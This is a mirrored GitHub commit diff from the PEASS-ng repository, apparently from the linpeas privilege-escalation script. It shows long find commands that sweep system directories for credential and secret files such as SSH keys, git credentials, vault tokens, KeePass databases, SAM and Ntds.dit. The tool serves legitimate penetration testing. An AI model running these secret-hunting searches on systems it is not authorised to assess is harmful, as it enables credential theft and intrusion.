mirror of
https://github.com/carlospolop/PEASS-ng
synced 2024-12-04 15:45:16 +01:00
Merge f8d06ed683 into 14def5b064
This commit is contained in:
Carlos Polop
GitHub
commit
2f7df9646e
@ -1083,142 +1083,142 @@ if echo $CHECKS | grep -q ProCronSrvcsTmrsSocks || echo $CHECKS | grep -q IntFil
|
||||
|
||||
CONT_THREADS=0
|
||||
# FIND ALL KNOWN INTERESTING SOFTWARE FILES
|
||||
FIND_DIR_APPLICATIONS=`eval_bckgrd "find /applications -type d -name \"couchdb\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \"postfix\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \".svn\" -o -name \".bluemix\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".irssi\" -o -name \"seeddms*\" -o -name \"keyrings\" -o -name \"logstash\" -o -name \"filezilla\" -o -name \"environments\" -o -name \"ldap\" -o -name \"roundcube\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_DIR_BIN=`eval_bckgrd "find /bin -type d -name \"couchdb\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \"postfix\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \".svn\" -o -name \".bluemix\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".irssi\" -o -name \"seeddms*\" -o -name \"keyrings\" -o -name \"logstash\" -o -name \"filezilla\" -o -name \"environments\" -o -name \"ldap\" -o -name \"roundcube\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_DIR_CACHE=`eval_bckgrd "find /.cache -type d -name \"couchdb\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \"postfix\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \".svn\" -o -name \".bluemix\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".irssi\" -o -name \"seeddms*\" -o -name \"keyrings\" -o -name \"logstash\" -o -name \"filezilla\" -o -name \"environments\" -o -name \"ldap\" -o -name \"roundcube\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_DIR_CDROM=`eval_bckgrd "find /cdrom -type d -name \"couchdb\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \"postfix\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \".svn\" -o -name \".bluemix\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".irssi\" -o -name \"seeddms*\" -o -name \"keyrings\" -o -name \"logstash\" -o -name \"filezilla\" -o -name \"environments\" -o -name \"ldap\" -o -name \"roundcube\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_DIR_ETC=`eval_bckgrd "find /etc -type d -name \"couchdb\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \"postfix\" -o -name \"roundcube\" -o -name \"mysql\" -o -name \".vnc\" -o -name \".svn\" -o -name \".bluemix\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".irssi\" -o -name \"seeddms*\" -o -name \"keyrings\" -o -name \"logstash\" -o -name \"filezilla\" -o -name \"environments\" -o -name \"bind\" -o -name \"ldap\" -o -name \"system.d\" -o -name \".cloudflared\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_DIR_HOMESEARCH=`eval_bckgrd "find $HOMESEARCH -type d -name \"couchdb\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \"postfix\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \".svn\" -o -name \".bluemix\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".irssi\" -o -name \"seeddms*\" -o -name \"keyrings\" -o -name \"logstash\" -o -name \"filezilla\" -o -name \"environments\" -o -name \"ldap\" -o -name \"roundcube\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_DIR_MEDIA=`eval_bckgrd "find /media -type d -name \"couchdb\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \"postfix\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \".svn\" -o -name \".bluemix\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".irssi\" -o -name \"seeddms*\" -o -name \"keyrings\" -o -name \"logstash\" -o -name \"filezilla\" -o -name \"environments\" -o -name \"ldap\" -o -name \"roundcube\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_DIR_MNT=`eval_bckgrd "find /mnt -type d -name \"couchdb\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \"postfix\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \".svn\" -o -name \".bluemix\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".irssi\" -o -name \"seeddms*\" -o -name \"keyrings\" -o -name \"logstash\" -o -name \"filezilla\" -o -name \"environments\" -o -name \"ldap\" -o -name \"roundcube\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_DIR_OPT=`eval_bckgrd "find /opt -type d -name \"couchdb\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \"postfix\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \".svn\" -o -name \".bluemix\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".irssi\" -o -name \"seeddms*\" -o -name \"keyrings\" -o -name \"logstash\" -o -name \"filezilla\" -o -name \"environments\" -o -name \"ldap\" -o -name \"roundcube\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_DIR_PRIVATE=`eval_bckgrd "find /private -type d -name \"couchdb\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \"postfix\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \".svn\" -o -name \".bluemix\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".irssi\" -o -name \"seeddms*\" -o -name \"keyrings\" -o -name \"logstash\" -o -name \"filezilla\" -o -name \"environments\" -o -name \"ldap\" -o -name \"roundcube\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_DIR_SBIN=`eval_bckgrd "find /sbin -type d -name \"couchdb\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \"postfix\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \".svn\" -o -name \".bluemix\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".irssi\" -o -name \"seeddms*\" -o -name \"keyrings\" -o -name \"logstash\" -o -name \"filezilla\" -o -name \"environments\" -o -name \"ldap\" -o -name \"roundcube\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_DIR_SNAP=`eval_bckgrd "find /snap -type d -name \"couchdb\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \"postfix\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \".svn\" -o -name \".bluemix\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".irssi\" -o -name \"seeddms*\" -o -name \"keyrings\" -o -name \"logstash\" -o -name \"filezilla\" -o -name \"environments\" -o -name \"ldap\" -o -name \"roundcube\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_DIR_SRV=`eval_bckgrd "find /srv -type d -name \"couchdb\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \"postfix\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \".svn\" -o -name \".bluemix\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".irssi\" -o -name \"seeddms*\" -o -name \"keyrings\" -o -name \"logstash\" -o -name \"filezilla\" -o -name \"environments\" -o -name \"ldap\" -o -name \"roundcube\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_DIR_TMP=`eval_bckgrd "find /tmp -type d -name \"couchdb\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \"postfix\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \".svn\" -o -name \".bluemix\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".irssi\" -o -name \"seeddms*\" -o -name \"keyrings\" -o -name \"logstash\" -o -name \"filezilla\" -o -name \"environments\" -o -name \"ldap\" -o -name \"roundcube\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_DIR_USR=`eval_bckgrd "find /usr -type d -name \"couchdb\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \"postfix\" -o -name \"roundcube\" -o -name \"mysql\" -o -name \".vnc\" -o -name \".svn\" -o -name \".bluemix\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".irssi\" -o -name \"seeddms*\" -o -name \"keyrings\" -o -name \"logstash\" -o -name \"filezilla\" -o -name \"environments\" -o -name \"bind\" -o -name \"ldap\" -o -name \".cloudflared\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_DIR_VAR=`eval_bckgrd "find /var -type d -name \"couchdb\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \"postfix\" -o -name \"roundcube\" -o -name \"mysql\" -o -name \".vnc\" -o -name \".svn\" -o -name \".bluemix\" -o -name \"neo4j\" -o -name \"cacti\" -o -name \".irssi\" -o -name \"seeddms*\" -o -name \"keyrings\" -o -name \"logstash\" -o -name \"filezilla\" -o -name \"environments\" -o -name \"bind\" -o -name \"ldap\" -o -name \".cloudflared\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_APPLICATIONS=`eval_bckgrd "find /applications -name \"database.php\" -o -name \"my.cnf\" -o -name \"RDCMan.settings\" -o -name \"storage.php\" -o -name \".k5login\" -o -name \"software.sav\" -o -name \"wcx_ftp.ini\" -o -name \"*.key\" -o -name \"setupinfo.bak\" -o -name \"software\" -o -name \"*.service\" -o -name \"gitlab.yml\" -o -name \".*_history.*\" -o -name \"wsl.exe\" -o -name \"bash.exe\" -o -name \"postgresql.conf\" -o -name \"*.ovpn\" -o -name \".recently-used.xbel\" -o -name \"authorized_hosts\" -o -name \"SYSTEM\" -o -name \"system.sav\" -o -name \"*vnc*.txt\" -o -name \"access_tokens.db\" -o -name \"credentials\" -o -name \".pypirc\" -o -name \"NetSetup.log\" -o -name \"server.xml\" -o -name \"cloud.cfg\" -o -name \"id_rsa*\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"*config*.php\" -o -name \"*credential*\" -o -name \"creds*\" -o -name \".google_authenticator\" -o -name \"debian.cnf\" -o -name \"settings.php\" -o -name \"winscp.ini\" -o -name \"Ntds.dit\" -o -name \"ws_ftp.ini\" -o -name \"printers.xml\" -o -name \"vault-ssh-helper.hcl\" -o -name \"kcpassword\" -o -name \"KeePass.enforced*\" -o -name \"hosts.equiv\" -o -name \"pg_hba.conf\" -o -name \"ntuser.dat\" -o -name \"*.jks\" -o -name \"credentials.db\" -o -name \"*.ftpconfig\" -o -name \"passbolt.php\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \"mongod*.conf\" -o -name \"*.der\" -o -name \".profile\" -o -name \"ipsec.secrets\" -o -name \"TokenCache.dat\" -o -name \"tomcat-users.xml\" -o -name \".vault-token\" -o -name \"*.crt\" -o -name \"scclient.exe\" -o -name \".sudo_as_admin_successful\" -o -name \"*.swp\" -o -name \"index.dat\" -o -name \".ldaprc\" -o -name \"*vnc*.c*nf*\" -o -name \"*.sqlite\" -o -name \"*.sqlite3\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"web*.config\" -o -name \"*.timer\" -o -name \"*vnc*.ini\" -o -name \".github\" -o -name \".git\" -o -name \"ddclient.conf\" -o -name \"redis.conf\" -o -name \"krb5.keytab\" -o -name \".env\" -o -name \"ConsoleHost_history.txt\" -o -name \"kibana.y*ml\" -o -name \"gvm-tools.conf\" -o -name \"ipsec.conf\" -o -name \".erlang.cookie\" -o -name \".htpasswd\" -o -name \"sysprep.inf\" -o -name \"pagefile.sys\" -o -name \"default.sav\" -o -name \"AppEvent.Evt\" -o -name \"https.conf\" -o -name \"*.keystore\" -o -name \".lesshst\" -o -name \"access.log\" -o -name \"azureProfile.json\" -o -name \"appcmd.exe\" -o -name \"psk.txt\" -o -name \"mariadb.cnf\" -o -name \"known_hosts\" -o -name \"000-default.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"httpd.conf\" -o -name \"*.pem\" -o -name \"*.p12\" -o -name \".plan\" -o -name \"sentry.conf.py\" -o -name \"unattend.txt\" -o -name \"hostapd.conf\" -o -name \"passwd\" -o -name \"rsyncd.conf\" -o -name \".rhosts\" -o -name \"secrets.yml\" -o -name \"*.cer\" -o -name \"krb5.conf\" -o -name \"unattend.inf\" -o -name \"datasources.xml\" -o -name \"*.rdg\" -o -name \"unattended.xml\" -o -name \"*.csr\" -o -name \"fastcgi_params\" -o -name \"docker.socket\" -o -name \"*.keyring\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"*.gnupg\" -o -name \"*.kdbx\" -o -name \"scheduledtasks.xml\" -o -name \"SAM\" -o -name \"filezilla.xml\" -o -name \"accessTokens.json\" -o -name \"error.log\" -o -name \"access_tokens.json\" -o -name \"supervisord.conf\" -o -name \"kadm5.acl\" -o -name \"mosquitto.conf\" -o -name \"snmpd.conf\" -o -name \"autologin\" -o -name \"gitlab.rm\" -o -name \".bashrc\" -o -name \"KeePass.config*\" -o -name \"setupinfo\" -o -name \"config.php\" -o -name \".msmtprc\" -o -name \"KeePass.ini\" -o -name \"backup\" -o -name \"elasticsearch.y*ml\" -o -name \"*.db\" -o -name \"sitemanager.xml\" -o -name \"pgadmin*.db\" -o -name \"*.pfx\" -o -name \"legacy_credentials.db\" -o -name \"*.pgp\" -o -name \"*.viminfo\" -o -name \"id_dsa*\" -o -name \"php.ini\" -o -name \"wp-config.php\" -o -name \"cesi.conf\" -o -name \"*.gpg\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"https-xampp.conf\" -o -name \"*.socket\" -o -name \"protecteduserkey.bin\" -o -name \"db.php\" -o -name \"docker-compose.yml\" -o -name \"SecEvent.Evt\" -o -name \"Dockerfile\" -o -name \".wgetrc\" -o -name \"authorized_keys\" -o -name \"drives.xml\" -o -name \"sites.ini\" -o -name \"security.sav\" -o -name \"docker.sock\" -o -name \"ftp.config\" -o -name \"pgsql.conf\" -o -name \"AzureRMContext.json\" -o -name \"*password*\" -o -name \"ftp.ini\" -o -name \"groups.xml\" -o -name \"recentservers.xml\" -o -name \"sysprep.xml\" -o -name \"autologin.conf\" -o -name \"backups\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_BIN=`eval_bckgrd "find /bin -name \"database.php\" -o -name \"my.cnf\" -o -name \"RDCMan.settings\" -o -name \"storage.php\" -o -name \".k5login\" -o -name \"software.sav\" -o -name \"wcx_ftp.ini\" -o -name \"*.key\" -o -name \"setupinfo.bak\" -o -name \"software\" -o -name \"*.service\" -o -name \"gitlab.yml\" -o -name \".*_history.*\" -o -name \"wsl.exe\" -o -name \"bash.exe\" -o -name \"postgresql.conf\" -o -name \"*.ovpn\" -o -name \".recently-used.xbel\" -o -name \"authorized_hosts\" -o -name \"SYSTEM\" -o -name \"system.sav\" -o -name \"*vnc*.txt\" -o -name \"access_tokens.db\" -o -name \"credentials\" -o -name \".pypirc\" -o -name \"NetSetup.log\" -o -name \"server.xml\" -o -name \"cloud.cfg\" -o -name \"id_rsa*\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"*config*.php\" -o -name \"*credential*\" -o -name \"creds*\" -o -name \".google_authenticator\" -o -name \"debian.cnf\" -o -name \"settings.php\" -o -name \"winscp.ini\" -o -name \"Ntds.dit\" -o -name \"ws_ftp.ini\" -o -name \"printers.xml\" -o -name \"vault-ssh-helper.hcl\" -o -name \"kcpassword\" -o -name \"KeePass.enforced*\" -o -name \"hosts.equiv\" -o -name \"pg_hba.conf\" -o -name \"ntuser.dat\" -o -name \"*.jks\" -o -name \"credentials.db\" -o -name \"*.ftpconfig\" -o -name \"passbolt.php\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \"mongod*.conf\" -o -name \"*.der\" -o -name \".profile\" -o -name \"ipsec.secrets\" -o -name \"TokenCache.dat\" -o -name \"tomcat-users.xml\" -o -name \".vault-token\" -o -name \"*.crt\" -o -name \"scclient.exe\" -o -name \".sudo_as_admin_successful\" -o -name \"*.swp\" -o -name \"index.dat\" -o -name \".ldaprc\" -o -name \"*vnc*.c*nf*\" -o -name \"*.sqlite\" -o -name \"*.sqlite3\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"web*.config\" -o -name \"*.timer\" -o -name \"*vnc*.ini\" -o -name \".github\" -o -name \".git\" -o -name \"ddclient.conf\" -o -name \"redis.conf\" -o -name \"krb5.keytab\" -o -name \".env\" -o -name \"ConsoleHost_history.txt\" -o -name \"kibana.y*ml\" -o -name \"gvm-tools.conf\" -o -name \"ipsec.conf\" -o -name \".erlang.cookie\" -o -name \".htpasswd\" -o -name \"sysprep.inf\" -o -name \"pagefile.sys\" -o -name \"default.sav\" -o -name \"AppEvent.Evt\" -o -name \"https.conf\" -o -name \"*.keystore\" -o -name \".lesshst\" -o -name \"access.log\" -o -name \"azureProfile.json\" -o -name \"appcmd.exe\" -o -name \"psk.txt\" -o -name \"mariadb.cnf\" -o -name \"known_hosts\" -o -name \"000-default.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"httpd.conf\" -o -name \"*.pem\" -o -name \"*.p12\" -o -name \".plan\" -o -name \"sentry.conf.py\" -o -name \"unattend.txt\" -o -name \"hostapd.conf\" -o -name \"passwd\" -o -name \"rsyncd.conf\" -o -name \".rhosts\" -o -name \"secrets.yml\" -o -name \"*.cer\" -o -name \"krb5.conf\" -o -name \"unattend.inf\" -o -name \"datasources.xml\" -o -name \"*.rdg\" -o -name \"unattended.xml\" -o -name \"*.csr\" -o -name \"fastcgi_params\" -o -name \"docker.socket\" -o -name \"*.keyring\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"*.gnupg\" -o -name \"*.kdbx\" -o -name \"scheduledtasks.xml\" -o -name \"SAM\" -o -name \"filezilla.xml\" -o -name \"accessTokens.json\" -o -name \"error.log\" -o -name \"access_tokens.json\" -o -name \"supervisord.conf\" -o -name \"kadm5.acl\" -o -name \"mosquitto.conf\" -o -name \"snmpd.conf\" -o -name \"autologin\" -o -name \"gitlab.rm\" -o -name \".bashrc\" -o -name \"KeePass.config*\" -o -name \"setupinfo\" -o -name \"config.php\" -o -name \".msmtprc\" -o -name \"KeePass.ini\" -o -name \"backup\" -o -name \"elasticsearch.y*ml\" -o -name \"*.db\" -o -name \"sitemanager.xml\" -o -name \"pgadmin*.db\" -o -name \"*.pfx\" -o -name \"legacy_credentials.db\" -o -name \"*.pgp\" -o -name \"*.viminfo\" -o -name \"id_dsa*\" -o -name \"php.ini\" -o -name \"wp-config.php\" -o -name \"cesi.conf\" -o -name \"*.gpg\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"https-xampp.conf\" -o -name \"*.socket\" -o -name \"protecteduserkey.bin\" -o -name \"db.php\" -o -name \"docker-compose.yml\" -o -name \"SecEvent.Evt\" -o -name \"Dockerfile\" -o -name \".wgetrc\" -o -name \"authorized_keys\" -o -name \"drives.xml\" -o -name \"sites.ini\" -o -name \"security.sav\" -o -name \"docker.sock\" -o -name \"ftp.config\" -o -name \"pgsql.conf\" -o -name \"AzureRMContext.json\" -o -name \"*password*\" -o -name \"ftp.ini\" -o -name \"groups.xml\" -o -name \"recentservers.xml\" -o -name \"sysprep.xml\" -o -name \"autologin.conf\" -o -name \"backups\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_CACHE=`eval_bckgrd "find /.cache -name \"database.php\" -o -name \"my.cnf\" -o -name \"RDCMan.settings\" -o -name \"storage.php\" -o -name \".k5login\" -o -name \"software.sav\" -o -name \"wcx_ftp.ini\" -o -name \"*.key\" -o -name \"setupinfo.bak\" -o -name \"software\" -o -name \"*.service\" -o -name \"gitlab.yml\" -o -name \".*_history.*\" -o -name \"wsl.exe\" -o -name \"bash.exe\" -o -name \"postgresql.conf\" -o -name \"*.ovpn\" -o -name \".recently-used.xbel\" -o -name \"authorized_hosts\" -o -name \"SYSTEM\" -o -name \"system.sav\" -o -name \"*vnc*.txt\" -o -name \"access_tokens.db\" -o -name \"credentials\" -o -name \".pypirc\" -o -name \"NetSetup.log\" -o -name \"server.xml\" -o -name \"cloud.cfg\" -o -name \"id_rsa*\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"*config*.php\" -o -name \"*credential*\" -o -name \"creds*\" -o -name \".google_authenticator\" -o -name \"debian.cnf\" -o -name \"settings.php\" -o -name \"winscp.ini\" -o -name \"Ntds.dit\" -o -name \"ws_ftp.ini\" -o -name \"printers.xml\" -o -name \"vault-ssh-helper.hcl\" -o -name \"kcpassword\" -o -name \"KeePass.enforced*\" -o -name \"hosts.equiv\" -o -name \"pg_hba.conf\" -o -name \"ntuser.dat\" -o -name \"*.jks\" -o -name \"credentials.db\" -o -name \"*.ftpconfig\" -o -name \"passbolt.php\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \"mongod*.conf\" -o -name \"*.der\" -o -name \".profile\" -o -name \"ipsec.secrets\" -o -name \"TokenCache.dat\" -o -name \"tomcat-users.xml\" -o -name \".vault-token\" -o -name \"*.crt\" -o -name \"scclient.exe\" -o -name \".sudo_as_admin_successful\" -o -name \"*.swp\" -o -name \"index.dat\" -o -name \".ldaprc\" -o -name \"*vnc*.c*nf*\" -o -name \"*.sqlite\" -o -name \"*.sqlite3\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"web*.config\" -o -name \"*.timer\" -o -name \"*vnc*.ini\" -o -name \".github\" -o -name \".git\" -o -name \"ddclient.conf\" -o -name \"redis.conf\" -o -name \"krb5.keytab\" -o -name \".env\" -o -name \"ConsoleHost_history.txt\" -o -name \"kibana.y*ml\" -o -name \"gvm-tools.conf\" -o -name \"ipsec.conf\" -o -name \".erlang.cookie\" -o -name \".htpasswd\" -o -name \"sysprep.inf\" -o -name \"pagefile.sys\" -o -name \"default.sav\" -o -name \"AppEvent.Evt\" -o -name \"https.conf\" -o -name \"*.keystore\" -o -name \".lesshst\" -o -name \"access.log\" -o -name \"azureProfile.json\" -o -name \"appcmd.exe\" -o -name \"psk.txt\" -o -name \"mariadb.cnf\" -o -name \"known_hosts\" -o -name \"000-default.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"httpd.conf\" -o -name \"*.pem\" -o -name \"*.p12\" -o -name \".plan\" -o -name \"sentry.conf.py\" -o -name \"unattend.txt\" -o -name \"hostapd.conf\" -o -name \"passwd\" -o -name \"rsyncd.conf\" -o -name \".rhosts\" -o -name \"secrets.yml\" -o -name \"*.cer\" -o -name \"krb5.conf\" -o -name \"unattend.inf\" -o -name \"datasources.xml\" -o -name \"*.rdg\" -o -name \"unattended.xml\" -o -name \"*.csr\" -o -name \"fastcgi_params\" -o -name \"docker.socket\" -o -name \"*.keyring\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"*.gnupg\" -o -name \"*.kdbx\" -o -name \"scheduledtasks.xml\" -o -name \"SAM\" -o -name \"filezilla.xml\" -o -name \"accessTokens.json\" -o -name \"error.log\" -o -name \"access_tokens.json\" -o -name \"supervisord.conf\" -o -name \"kadm5.acl\" -o -name \"mosquitto.conf\" -o -name \"snmpd.conf\" -o -name \"autologin\" -o -name \"gitlab.rm\" -o -name \".bashrc\" -o -name \"KeePass.config*\" -o -name \"setupinfo\" -o -name \"config.php\" -o -name \".msmtprc\" -o -name \"KeePass.ini\" -o -name \"backup\" -o -name \"elasticsearch.y*ml\" -o -name \"*.db\" -o -name \"sitemanager.xml\" -o -name \"pgadmin*.db\" -o -name \"*.pfx\" -o -name \"legacy_credentials.db\" -o -name \"*.pgp\" -o -name \"*.viminfo\" -o -name \"id_dsa*\" -o -name \"php.ini\" -o -name \"wp-config.php\" -o -name \"cesi.conf\" -o -name \"*.gpg\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"https-xampp.conf\" -o -name \"*.socket\" -o -name \"protecteduserkey.bin\" -o -name \"db.php\" -o -name \"docker-compose.yml\" -o -name \"SecEvent.Evt\" -o -name \"Dockerfile\" -o -name \".wgetrc\" -o -name \"authorized_keys\" -o -name \"drives.xml\" -o -name \"sites.ini\" -o -name \"security.sav\" -o -name \"docker.sock\" -o -name \"ftp.config\" -o -name \"pgsql.conf\" -o -name \"AzureRMContext.json\" -o -name \"*password*\" -o -name \"ftp.ini\" -o -name \"groups.xml\" -o -name \"recentservers.xml\" -o -name \"sysprep.xml\" -o -name \"autologin.conf\" -o -name \"backups\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_CDROM=`eval_bckgrd "find /cdrom -name \"database.php\" -o -name \"my.cnf\" -o -name \"RDCMan.settings\" -o -name \"storage.php\" -o -name \".k5login\" -o -name \"software.sav\" -o -name \"wcx_ftp.ini\" -o -name \"*.key\" -o -name \"setupinfo.bak\" -o -name \"software\" -o -name \"*.service\" -o -name \"gitlab.yml\" -o -name \".*_history.*\" -o -name \"wsl.exe\" -o -name \"bash.exe\" -o -name \"postgresql.conf\" -o -name \"*.ovpn\" -o -name \".recently-used.xbel\" -o -name \"authorized_hosts\" -o -name \"SYSTEM\" -o -name \"system.sav\" -o -name \"*vnc*.txt\" -o -name \"access_tokens.db\" -o -name \"credentials\" -o -name \".pypirc\" -o -name \"NetSetup.log\" -o -name \"server.xml\" -o -name \"cloud.cfg\" -o -name \"id_rsa*\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"*config*.php\" -o -name \"*credential*\" -o -name \"creds*\" -o -name \".google_authenticator\" -o -name \"debian.cnf\" -o -name \"settings.php\" -o -name \"winscp.ini\" -o -name \"Ntds.dit\" -o -name \"ws_ftp.ini\" -o -name \"printers.xml\" -o -name \"vault-ssh-helper.hcl\" -o -name \"kcpassword\" -o -name \"KeePass.enforced*\" -o -name \"hosts.equiv\" -o -name \"pg_hba.conf\" -o -name \"ntuser.dat\" -o -name \"*.jks\" -o -name \"credentials.db\" -o -name \"*.ftpconfig\" -o -name \"passbolt.php\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \"mongod*.conf\" -o -name \"*.der\" -o -name \".profile\" -o -name \"ipsec.secrets\" -o -name \"TokenCache.dat\" -o -name \"tomcat-users.xml\" -o -name \".vault-token\" -o -name \"*.crt\" -o -name \"scclient.exe\" -o -name \".sudo_as_admin_successful\" -o -name \"*.swp\" -o -name \"index.dat\" -o -name \".ldaprc\" -o -name \"*vnc*.c*nf*\" -o -name \"*.sqlite\" -o -name \"*.sqlite3\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"web*.config\" -o -name \"*.timer\" -o -name \"*vnc*.ini\" -o -name \".github\" -o -name \".git\" -o -name \"ddclient.conf\" -o -name \"redis.conf\" -o -name \"krb5.keytab\" -o -name \".env\" -o -name \"ConsoleHost_history.txt\" -o -name \"kibana.y*ml\" -o -name \"gvm-tools.conf\" -o -name \"ipsec.conf\" -o -name \".erlang.cookie\" -o -name \".htpasswd\" -o -name \"sysprep.inf\" -o -name \"pagefile.sys\" -o -name \"default.sav\" -o -name \"AppEvent.Evt\" -o -name \"https.conf\" -o -name \"*.keystore\" -o -name \".lesshst\" -o -name \"access.log\" -o -name \"azureProfile.json\" -o -name \"appcmd.exe\" -o -name \"psk.txt\" -o -name \"mariadb.cnf\" -o -name \"known_hosts\" -o -name \"000-default.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"httpd.conf\" -o -name \"*.pem\" -o -name \"*.p12\" -o -name \".plan\" -o -name \"sentry.conf.py\" -o -name \"unattend.txt\" -o -name \"hostapd.conf\" -o -name \"passwd\" -o -name \"rsyncd.conf\" -o -name \".rhosts\" -o -name \"secrets.yml\" -o -name \"*.cer\" -o -name \"krb5.conf\" -o -name \"unattend.inf\" -o -name \"datasources.xml\" -o -name \"*.rdg\" -o -name \"unattended.xml\" -o -name \"*.csr\" -o -name \"fastcgi_params\" -o -name \"docker.socket\" -o -name \"*.keyring\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"*.gnupg\" -o -name \"*.kdbx\" -o -name \"scheduledtasks.xml\" -o -name \"SAM\" -o -name \"filezilla.xml\" -o -name \"accessTokens.json\" -o -name \"error.log\" -o -name \"access_tokens.json\" -o -name \"supervisord.conf\" -o -name \"kadm5.acl\" -o -name \"mosquitto.conf\" -o -name \"snmpd.conf\" -o -name \"autologin\" -o -name \"gitlab.rm\" -o -name \".bashrc\" -o -name \"KeePass.config*\" -o -name \"setupinfo\" -o -name \"config.php\" -o -name \".msmtprc\" -o -name \"KeePass.ini\" -o -name \"backup\" -o -name \"elasticsearch.y*ml\" -o -name \"*.db\" -o -name \"sitemanager.xml\" -o -name \"pgadmin*.db\" -o -name \"*.pfx\" -o -name \"legacy_credentials.db\" -o -name \"*.pgp\" -o -name \"*.viminfo\" -o -name \"id_dsa*\" -o -name \"php.ini\" -o -name 